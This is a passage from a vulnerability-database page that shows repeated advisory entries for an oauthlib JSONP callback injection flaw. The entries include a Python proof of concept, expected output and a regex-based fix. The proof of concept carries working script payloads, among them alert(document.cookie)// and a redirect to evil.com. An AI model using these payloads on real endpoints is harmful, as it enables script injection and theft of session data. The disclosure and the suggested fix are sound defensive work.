Find a vulnerability
Search criteria
Related vulnerabilities
BREW-ANSIBLE-CVE-2026-49264 (GHSA-HJ66-6F7G-4R5V)
Vulnerability from osv_homebrew – Published: 2026-09-30 18:44 – Updated: 2026-10-14 08:46 – Source websiteSummary
When enable_jsonp=True, oauthlib's RevocationEndpoint reflects the user-supplied callback parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence callback.
Details
The issue is in oauthlib/oauth2/rfc6749/endpoints/revocation.py.
When enable_jsonp=True is passed to the RevocationEndpoint constructor, two code paths wrap the response body using the user-supplied request.callback parameter:
# Error response path (line 72-73):
if self.enable_jsonp and request.callback:
response_body = '{}({});'.format(request.callback, response_body)
# Success response path (line 81-82):
if self.enable_jsonp and request.callback:
response_body = request.callback + '();'
The request.callback value comes from HTTP request parameters, either the query string or POST body, via the Request class in oauthlib/common.py (lines 394-395), which merges query and body parameters into _params. Any value the client sends as callback is used verbatim.
There is no validation of any kind on the callback parameter: - No check that it is a valid JavaScript identifier - No whitelist of allowed characters - No escaping or sanitization
A safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching ^[a-zA-Z_$][a-zA-Z0-9_$.]*$). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.
How the injection works:
An attacker sends a revocation request with a crafted callback value:
POST /revoke HTTP/1.1
Content-Type: application/x-www-form-urlencoded
token=anything&callback=alert(document.cookie)//
The server responds with:
alert(document.cookie)//({"error": "invalid_client"});
This is syntactically valid JavaScript. alert(document.cookie) executes as a statement, and // comments out the rest of the line. The attacker has full control over the code that appears before the //.
Execution context and attack surface:
JSONP works by having a browser load a remote script via <script src="...">. The loaded script executes in the origin of the including page, not the remote server. This means a <script src="https://auth.example.com/revoke?token=x&callback=payload"> tag on evil.com would execute the payload in evil.com's context, not the auth server's context.
The impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes <script src> pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application's origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.
Note: the enable_jsonp parameter defaults to False, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes prepare_token_revocation_request() with an explicit callback parameter (oauthlib/oauth2/rfc6749/parameters.py, line 174), and the documentation shows JSONP revocation as a use case (oauthlib/oauth2/rfc6749/clients/base.py, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (test_revocation_endpoint.py, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.
PoC
Requirements: Python 3.x with oauthlib installed (pip install oauthlib).
from oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint
from oauthlib.oauth2.rfc6749.request_validator import RequestValidator
class FailValidator(RequestValidator):
"""Auth fails -> triggers error response path (lines 72-73)."""
def client_authentication_required(self, request, *a, **kw): return True
def authenticate_client(self, request, *a, **kw): return False
def authenticate_client_id(self, client_id, request, *a, **kw): return False
class PassValidator(RequestValidator):
"""Auth passes -> triggers success response path (lines 81-82)."""
def client_authentication_required(self, request, *a, **kw): return False
def authenticate_client_id(self, client_id, request, *a, **kw): return True
def revoke_token(self, token, token_type_hint, request, *a, **kw): pass
payloads = [
"alert(document.cookie)//",
"window.location='https://evil.com/'//",
"eval('malicious')//",
]
# --- Error path (401) ---
print("Error path (enable_jsonp=True, auth fails):")
ep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)
for p in payloads:
h, body, status = ep_fail.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body=f"token=x&callback={p}")
assert p in body, "Payload not reflected"
print(f" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}")
# --- Success path (200) ---
print("\nSuccess path (enable_jsonp=True, revocation succeeds):")
ep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)
for p in payloads:
h, body, status = ep_pass.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body=f"token=x&callback={p}")
assert p in body, "Payload not reflected"
print(f" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}")
# --- Control (default: enable_jsonp=False) ---
print("\nControl (enable_jsonp=False, default):")
ep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)
_, body, status = ep_safe.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body="token=x&callback=alert(1)//")
assert "alert" not in body, "Payload should not be present"
print(f" [{status}] {body}")
print("\nAll assertions passed.")
Expected output:
Error path (enable_jsonp=True, auth fails):
[401] Content-Type: application/json Body: alert(document.cookie)//({"error": "invalid_client"});
[401] Content-Type: application/json Body: window.location='https://evil.com/'//({"error": "invalid_client"});
[401] Content-Type: application/json Body: eval('malicious')//({"error": "invalid_client"});
Success path (enable_jsonp=True, revocation succeeds):
[200] Content-Type: (none) Body: alert(document.cookie)//();
[200] Content-Type: (none) Body: window.location='https://evil.com/'//();
[200] Content-Type: (none) Body: eval('malicious')//();
Control (enable_jsonp=False, default):
[401] {"error": "invalid_client"}
All assertions passed.
Both paths reflect the attacker's payload verbatim into the response body.
Impact
Any oauthlib-based authorization server that enables JSONP on the revocation endpoint (enable_jsonp=True) returns attacker-controlled JavaScript in its response body.
Any page or application that loads this endpoint's response as JSONP and exposes attacker influence over the callback parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib's client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page's DOM and any data normally accessible to scripts running in that origin.
The JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.
Affected versions: oauthlib >= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit da775de). The enable_jsonp gate was added in 2014 (commit b85f89a) but no validation of the callback value was ever added.
Suggested fix
Validate the callback parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:
import re
# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated
JSONP_CALLBACK_PATTERN = re.compile(r'^[a-zA-Z_$][a-zA-Z0-9_$]*(\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$')
# In create_revocation_response(), before using request.callback:
if self.enable_jsonp and request.callback:
if not JSONP_CALLBACK_PATTERN.match(request.callback):
request.callback = None
This is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like package.hello_world are accepted, while blocking payloads like alert(document.cookie)//.
As a secondary hardening measure, when JSONP is enabled, the response should set Content-Type: application/javascript (not application/json or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns application/json.
Alternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the enable_jsonp option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "oauthlib",
"resource_purl": "pkg:pypi/oauthlib@4.0.0",
"upstream_fixed_in": "4.0.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "ansible",
"purl": "pkg:brew/ansible"
},
"ranges": [
{
"events": [
{
"introduced": "2.8.4_1"
},
{
"fixed": "14.4.0_1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/oauthlib@4.0.0",
"name": "oauthlib",
"resource": "oauthlib",
"strategy": "registry",
"subject_version": "4.0.0"
}
]
},
"details": "### Summary\n\nWhen `enable_jsonp=True`, oauthlib\u0027s `RevocationEndpoint` reflects the user-supplied `callback` parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence `callback`.\n\n### Details\n\nThe issue is in `oauthlib/oauth2/rfc6749/endpoints/revocation.py`.\n\nWhen `enable_jsonp=True` is passed to the `RevocationEndpoint` constructor, two code paths wrap the response body using the user-supplied `request.callback` parameter:\n\n```python\n# Error response path (line 72-73):\nif self.enable_jsonp and request.callback:\n response_body = \u0027{}({});\u0027.format(request.callback, response_body)\n\n# Success response path (line 81-82):\nif self.enable_jsonp and request.callback:\n response_body = request.callback + \u0027();\u0027\n```\n\nThe `request.callback` value comes from HTTP request parameters, either the query string or POST body, via the `Request` class in `oauthlib/common.py` (lines 394-395), which merges query and body parameters into `_params`. Any value the client sends as `callback` is used verbatim.\n\nThere is no validation of any kind on the callback parameter:\n- No check that it is a valid JavaScript identifier\n- No whitelist of allowed characters\n- No escaping or sanitization\n\nA safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching `^[a-zA-Z_$][a-zA-Z0-9_$.]*$`). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.\n\n**How the injection works:**\n\nAn attacker sends a revocation request with a crafted callback value:\n\n```\nPOST /revoke HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\ntoken=anything\u0026callback=alert(document.cookie)//\n```\n\nThe server responds with:\n\n```\nalert(document.cookie)//({\"error\": \"invalid_client\"});\n```\n\nThis is syntactically valid JavaScript. `alert(document.cookie)` executes as a statement, and `//` comments out the rest of the line. The attacker has full control over the code that appears before the `//`.\n\n**Execution context and attack surface:**\n\nJSONP works by having a browser load a remote script via `\u003cscript src=\"...\"\u003e`. The loaded script executes in the origin of the **including page**, not the remote server. This means a `\u003cscript src=\"https://auth.example.com/revoke?token=x\u0026callback=payload\"\u003e` tag on `evil.com` would execute the payload in `evil.com`\u0027s context, not the auth server\u0027s context.\n\nThe impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes `\u003cscript src\u003e` pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application\u0027s origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.\n\nNote: the `enable_jsonp` parameter defaults to `False`, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes `prepare_token_revocation_request()` with an explicit `callback` parameter (`oauthlib/oauth2/rfc6749/parameters.py`, line 174), and the documentation shows JSONP revocation as a use case (`oauthlib/oauth2/rfc6749/clients/base.py`, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (`test_revocation_endpoint.py`, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.\n\n### PoC\n\n**Requirements:** Python 3.x with oauthlib installed (`pip install oauthlib`).\n\n```python\nfrom oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint\nfrom oauthlib.oauth2.rfc6749.request_validator import RequestValidator\n\n\nclass FailValidator(RequestValidator):\n \"\"\"Auth fails -\u003e triggers error response path (lines 72-73).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return True\n def authenticate_client(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return False\n\n\nclass PassValidator(RequestValidator):\n \"\"\"Auth passes -\u003e triggers success response path (lines 81-82).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return True\n def revoke_token(self, token, token_type_hint, request, *a, **kw): pass\n\n\npayloads = [\n \"alert(document.cookie)//\",\n \"window.location=\u0027https://evil.com/\u0027//\",\n \"eval(\u0027malicious\u0027)//\",\n]\n\n# --- Error path (401) ---\nprint(\"Error path (enable_jsonp=True, auth fails):\")\nep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_fail.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get(\u0027Content-Type\u0027,\u0027(none)\u0027)} Body: {body}\")\n\n# --- Success path (200) ---\nprint(\"\\nSuccess path (enable_jsonp=True, revocation succeeds):\")\nep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_pass.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get(\u0027Content-Type\u0027,\u0027(none)\u0027)} Body: {body}\")\n\n# --- Control (default: enable_jsonp=False) ---\nprint(\"\\nControl (enable_jsonp=False, default):\")\nep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)\n_, body, status = ep_safe.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=\"token=x\u0026callback=alert(1)//\")\nassert \"alert\" not in body, \"Payload should not be present\"\nprint(f\" [{status}] {body}\")\nprint(\"\\nAll assertions passed.\")\n```\n\n**Expected output:**\n\n```\nError path (enable_jsonp=True, auth fails):\n [401] Content-Type: application/json Body: alert(document.cookie)//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: window.location=\u0027https://evil.com/\u0027//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: eval(\u0027malicious\u0027)//({\"error\": \"invalid_client\"});\n\nSuccess path (enable_jsonp=True, revocation succeeds):\n [200] Content-Type: (none) Body: alert(document.cookie)//();\n [200] Content-Type: (none) Body: window.location=\u0027https://evil.com/\u0027//();\n [200] Content-Type: (none) Body: eval(\u0027malicious\u0027)//();\n\nControl (enable_jsonp=False, default):\n [401] {\"error\": \"invalid_client\"}\n\nAll assertions passed.\n```\n\nBoth paths reflect the attacker\u0027s payload verbatim into the response body.\n\n### Impact\n\nAny oauthlib-based authorization server that enables JSONP on the revocation endpoint (`enable_jsonp=True`) returns attacker-controlled JavaScript in its response body.\n\nAny page or application that loads this endpoint\u0027s response as JSONP and exposes attacker influence over the `callback` parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib\u0027s client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page\u0027s DOM and any data normally accessible to scripts running in that origin.\n\nThe JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.\n\n**Affected versions:** oauthlib \u003e= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit `da775de`). The `enable_jsonp` gate was added in 2014 (commit `b85f89a`) but no validation of the callback value was ever added.\n\n### Suggested fix\n\nValidate the `callback` parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:\n\n```python\nimport re\n\n# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated\nJSONP_CALLBACK_PATTERN = re.compile(r\u0027^[a-zA-Z_$][a-zA-Z0-9_$]*(\\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$\u0027)\n\n# In create_revocation_response(), before using request.callback:\nif self.enable_jsonp and request.callback:\n if not JSONP_CALLBACK_PATTERN.match(request.callback):\n request.callback = None\n```\n\nThis is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like `package.hello_world` are accepted, while blocking payloads like `alert(document.cookie)//`.\n\nAs a secondary hardening measure, when JSONP is enabled, the response should set `Content-Type: application/javascript` (not `application/json` or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns `application/json`.\n\nAlternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the `enable_jsonp` option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.",
"id": "BREW-ansible-CVE-2026-49264",
"modified": "2026-10-14T08:46:32Z",
"published": "2026-09-30T18:44:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-hj66-6f7g-4r5v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49264"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/pull/951"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/commit/c888359f3c42bec235b2c5caab2069c9ed62457c"
},
{
"type": "PACKAGE",
"url": "https://github.com/oauthlib/oauthlib"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/oauthlib/PYSEC-2026-4113.yaml"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Oauthlib : Unsafe JSONP callback injection in RevocationEndpoint allows arbitrary JavaScript response generation",
"upstream": [
"GHSA-hj66-6f7g-4r5v",
"CVE-2026-49264",
"PYSEC-2026-4113"
]
}
BREW-ANSIBLE@10-CVE-2026-49264 (GHSA-HJ66-6F7G-4R5V)
Vulnerability from osv_homebrew – Published: 2026-09-30 19:48 – Updated: 2026-10-14 09:04 – Source websiteSummary
When enable_jsonp=True, oauthlib's RevocationEndpoint reflects the user-supplied callback parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence callback.
Details
The issue is in oauthlib/oauth2/rfc6749/endpoints/revocation.py.
When enable_jsonp=True is passed to the RevocationEndpoint constructor, two code paths wrap the response body using the user-supplied request.callback parameter:
# Error response path (line 72-73):
if self.enable_jsonp and request.callback:
response_body = '{}({});'.format(request.callback, response_body)
# Success response path (line 81-82):
if self.enable_jsonp and request.callback:
response_body = request.callback + '();'
The request.callback value comes from HTTP request parameters, either the query string or POST body, via the Request class in oauthlib/common.py (lines 394-395), which merges query and body parameters into _params. Any value the client sends as callback is used verbatim.
There is no validation of any kind on the callback parameter: - No check that it is a valid JavaScript identifier - No whitelist of allowed characters - No escaping or sanitization
A safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching ^[a-zA-Z_$][a-zA-Z0-9_$.]*$). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.
How the injection works:
An attacker sends a revocation request with a crafted callback value:
POST /revoke HTTP/1.1
Content-Type: application/x-www-form-urlencoded
token=anything&callback=alert(document.cookie)//
The server responds with:
alert(document.cookie)//({"error": "invalid_client"});
This is syntactically valid JavaScript. alert(document.cookie) executes as a statement, and // comments out the rest of the line. The attacker has full control over the code that appears before the //.
Execution context and attack surface:
JSONP works by having a browser load a remote script via <script src="...">. The loaded script executes in the origin of the including page, not the remote server. This means a <script src="https://auth.example.com/revoke?token=x&callback=payload"> tag on evil.com would execute the payload in evil.com's context, not the auth server's context.
The impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes <script src> pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application's origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.
Note: the enable_jsonp parameter defaults to False, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes prepare_token_revocation_request() with an explicit callback parameter (oauthlib/oauth2/rfc6749/parameters.py, line 174), and the documentation shows JSONP revocation as a use case (oauthlib/oauth2/rfc6749/clients/base.py, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (test_revocation_endpoint.py, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.
PoC
Requirements: Python 3.x with oauthlib installed (pip install oauthlib).
from oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint
from oauthlib.oauth2.rfc6749.request_validator import RequestValidator
class FailValidator(RequestValidator):
"""Auth fails -> triggers error response path (lines 72-73)."""
def client_authentication_required(self, request, *a, **kw): return True
def authenticate_client(self, request, *a, **kw): return False
def authenticate_client_id(self, client_id, request, *a, **kw): return False
class PassValidator(RequestValidator):
"""Auth passes -> triggers success response path (lines 81-82)."""
def client_authentication_required(self, request, *a, **kw): return False
def authenticate_client_id(self, client_id, request, *a, **kw): return True
def revoke_token(self, token, token_type_hint, request, *a, **kw): pass
payloads = [
"alert(document.cookie)//",
"window.location='https://evil.com/'//",
"eval('malicious')//",
]
# --- Error path (401) ---
print("Error path (enable_jsonp=True, auth fails):")
ep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)
for p in payloads:
h, body, status = ep_fail.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body=f"token=x&callback={p}")
assert p in body, "Payload not reflected"
print(f" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}")
# --- Success path (200) ---
print("\nSuccess path (enable_jsonp=True, revocation succeeds):")
ep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)
for p in payloads:
h, body, status = ep_pass.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body=f"token=x&callback={p}")
assert p in body, "Payload not reflected"
print(f" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}")
# --- Control (default: enable_jsonp=False) ---
print("\nControl (enable_jsonp=False, default):")
ep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)
_, body, status = ep_safe.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body="token=x&callback=alert(1)//")
assert "alert" not in body, "Payload should not be present"
print(f" [{status}] {body}")
print("\nAll assertions passed.")
Expected output:
Error path (enable_jsonp=True, auth fails):
[401] Content-Type: application/json Body: alert(document.cookie)//({"error": "invalid_client"});
[401] Content-Type: application/json Body: window.location='https://evil.com/'//({"error": "invalid_client"});
[401] Content-Type: application/json Body: eval('malicious')//({"error": "invalid_client"});
Success path (enable_jsonp=True, revocation succeeds):
[200] Content-Type: (none) Body: alert(document.cookie)//();
[200] Content-Type: (none) Body: window.location='https://evil.com/'//();
[200] Content-Type: (none) Body: eval('malicious')//();
Control (enable_jsonp=False, default):
[401] {"error": "invalid_client"}
All assertions passed.
Both paths reflect the attacker's payload verbatim into the response body.
Impact
Any oauthlib-based authorization server that enables JSONP on the revocation endpoint (enable_jsonp=True) returns attacker-controlled JavaScript in its response body.
Any page or application that loads this endpoint's response as JSONP and exposes attacker influence over the callback parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib's client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page's DOM and any data normally accessible to scripts running in that origin.
The JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.
Affected versions: oauthlib >= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit da775de). The enable_jsonp gate was added in 2014 (commit b85f89a) but no validation of the callback value was ever added.
Suggested fix
Validate the callback parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:
import re
# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated
JSONP_CALLBACK_PATTERN = re.compile(r'^[a-zA-Z_$][a-zA-Z0-9_$]*(\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$')
# In create_revocation_response(), before using request.callback:
if self.enable_jsonp and request.callback:
if not JSONP_CALLBACK_PATTERN.match(request.callback):
request.callback = None
This is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like package.hello_world are accepted, while blocking payloads like alert(document.cookie)//.
As a secondary hardening measure, when JSONP is enabled, the response should set Content-Type: application/javascript (not application/json or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns application/json.
Alternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the enable_jsonp option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.
| URL | Type | |||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": null,
"range_state": "affected",
"resource": "oauthlib",
"resource_purl": "pkg:pypi/oauthlib@3.3.1",
"upstream_fixed_in": "4.0.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "ansible@10",
"purl": "pkg:brew/ansible%4010"
},
"ranges": [
{
"events": [
{
"introduced": "10.6.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/oauthlib@3.3.1",
"name": "oauthlib",
"resource": "oauthlib",
"strategy": "registry",
"subject_version": "3.3.1"
}
]
},
"details": "### Summary\n\nWhen `enable_jsonp=True`, oauthlib\u0027s `RevocationEndpoint` reflects the user-supplied `callback` parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence `callback`.\n\n### Details\n\nThe issue is in `oauthlib/oauth2/rfc6749/endpoints/revocation.py`.\n\nWhen `enable_jsonp=True` is passed to the `RevocationEndpoint` constructor, two code paths wrap the response body using the user-supplied `request.callback` parameter:\n\n```python\n# Error response path (line 72-73):\nif self.enable_jsonp and request.callback:\n response_body = \u0027{}({});\u0027.format(request.callback, response_body)\n\n# Success response path (line 81-82):\nif self.enable_jsonp and request.callback:\n response_body = request.callback + \u0027();\u0027\n```\n\nThe `request.callback` value comes from HTTP request parameters, either the query string or POST body, via the `Request` class in `oauthlib/common.py` (lines 394-395), which merges query and body parameters into `_params`. Any value the client sends as `callback` is used verbatim.\n\nThere is no validation of any kind on the callback parameter:\n- No check that it is a valid JavaScript identifier\n- No whitelist of allowed characters\n- No escaping or sanitization\n\nA safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching `^[a-zA-Z_$][a-zA-Z0-9_$.]*$`). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.\n\n**How the injection works:**\n\nAn attacker sends a revocation request with a crafted callback value:\n\n```\nPOST /revoke HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\ntoken=anything\u0026callback=alert(document.cookie)//\n```\n\nThe server responds with:\n\n```\nalert(document.cookie)//({\"error\": \"invalid_client\"});\n```\n\nThis is syntactically valid JavaScript. `alert(document.cookie)` executes as a statement, and `//` comments out the rest of the line. The attacker has full control over the code that appears before the `//`.\n\n**Execution context and attack surface:**\n\nJSONP works by having a browser load a remote script via `\u003cscript src=\"...\"\u003e`. The loaded script executes in the origin of the **including page**, not the remote server. This means a `\u003cscript src=\"https://auth.example.com/revoke?token=x\u0026callback=payload\"\u003e` tag on `evil.com` would execute the payload in `evil.com`\u0027s context, not the auth server\u0027s context.\n\nThe impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes `\u003cscript src\u003e` pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application\u0027s origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.\n\nNote: the `enable_jsonp` parameter defaults to `False`, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes `prepare_token_revocation_request()` with an explicit `callback` parameter (`oauthlib/oauth2/rfc6749/parameters.py`, line 174), and the documentation shows JSONP revocation as a use case (`oauthlib/oauth2/rfc6749/clients/base.py`, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (`test_revocation_endpoint.py`, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.\n\n### PoC\n\n**Requirements:** Python 3.x with oauthlib installed (`pip install oauthlib`).\n\n```python\nfrom oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint\nfrom oauthlib.oauth2.rfc6749.request_validator import RequestValidator\n\n\nclass FailValidator(RequestValidator):\n \"\"\"Auth fails -\u003e triggers error response path (lines 72-73).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return True\n def authenticate_client(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return False\n\n\nclass PassValidator(RequestValidator):\n \"\"\"Auth passes -\u003e triggers success response path (lines 81-82).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return True\n def revoke_token(self, token, token_type_hint, request, *a, **kw): pass\n\n\npayloads = [\n \"alert(document.cookie)//\",\n \"window.location=\u0027https://evil.com/\u0027//\",\n \"eval(\u0027malicious\u0027)//\",\n]\n\n# --- Error path (401) ---\nprint(\"Error path (enable_jsonp=True, auth fails):\")\nep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_fail.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get(\u0027Content-Type\u0027,\u0027(none)\u0027)} Body: {body}\")\n\n# --- Success path (200) ---\nprint(\"\\nSuccess path (enable_jsonp=True, revocation succeeds):\")\nep_pass = 